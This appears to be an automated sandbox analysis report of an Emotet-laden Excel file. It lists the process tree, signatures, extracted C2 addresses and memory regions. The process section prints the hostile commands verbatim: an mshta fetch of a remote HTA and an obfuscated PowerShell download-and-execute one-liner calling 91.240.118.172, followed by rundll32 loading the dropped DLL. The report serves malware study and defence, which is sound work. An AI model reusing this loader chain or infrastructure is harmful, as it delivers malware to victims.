Analysis

  • max time kernel
    120s
  • max time network
    169s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28/01/2022, 16:49

General

  • Target
    tmpjz2pi1gz.xls
  • Size 85KB
  • Sample220128-vbrwyaggap
  • SHA256 99fb8e56910e4f565490dcc92f9f26f2a1f97f4d01db32bda91c30bf8efec221
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/gg/ff/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/gg/ff/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 160.16.102.168:80

  • 131.100.24.231:80

  • 200.17.134.35:7080

  • 207.38.84.195:8080

  • 212.237.56.116:7080

  • 58.227.42.236:80

  • 104.251.214.46:8080

  • 158.69.222.101:443

  • 192.254.71.210:443

  • 46.55.222.11:443

  • 45.118.135.203:7080

  • 107.182.225.142:8080

  • 103.75.201.2:443

  • 104.168.155.129:8080

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 110.232.117.186:8080

  • 45.142.114.231:8080

  • 41.76.108.46:8080

  • 203.114.109.124:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpjz2pi1gz.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.172/gg/ff/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1652
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1092
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll ssAAqq
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2040
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll ssAAqq
              6⤵
              • Loads dropped DLL
              PID:1720
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1592
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vbhluvbcdrrrgap\ecbmmwqvplwqq.igz",GbyNPKkdr
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1768
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vbhluvbcdrrrgap\ecbmmwqvplwqq.igz",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1996

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1092-63-0x0000000002540000-0x000000000318A000-memory.dmp

        memory/1092-62-0x0000000002540000-0x000000000318A000-memory.dmp

        memory/1092-64-0x0000000002540000-0x000000000318A000-memory.dmp

        memory/1592-75-0x0000000000210000-0x0000000000235000-memory.dmp

        memory/1592-90-0x0000000002910000-0x0000000002935000-memory.dmp

        memory/1592-83-0x0000000002480000-0x00000000024A5000-memory.dmp

        memory/1592-81-0x0000000000670000-0x0000000000695000-memory.dmp

        memory/1592-79-0x0000000000370000-0x0000000000395000-memory.dmp

        memory/1592-77-0x0000000000300000-0x0000000000325000-memory.dmp

        memory/1768-89-0x0000000000270000-0x0000000000295000-memory.dmp

        memory/1884-57-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

        memory/1884-55-0x0000000071BB1000-0x0000000071BB3000-memory.dmp

        memory/1884-54-0x000000002F1F1000-0x000000002F1F4000-memory.dmp

        memory/1884-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1884-119-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1996-95-0x00000000003E0000-0x0000000000405000-memory.dmp

        memory/1996-97-0x0000000000540000-0x0000000000565000-memory.dmp

        memory/1996-99-0x0000000001E40000-0x0000000001E65000-memory.dmp

        memory/1996-101-0x0000000002010000-0x0000000002035000-memory.dmp

        memory/1996-103-0x0000000002560000-0x0000000002585000-memory.dmp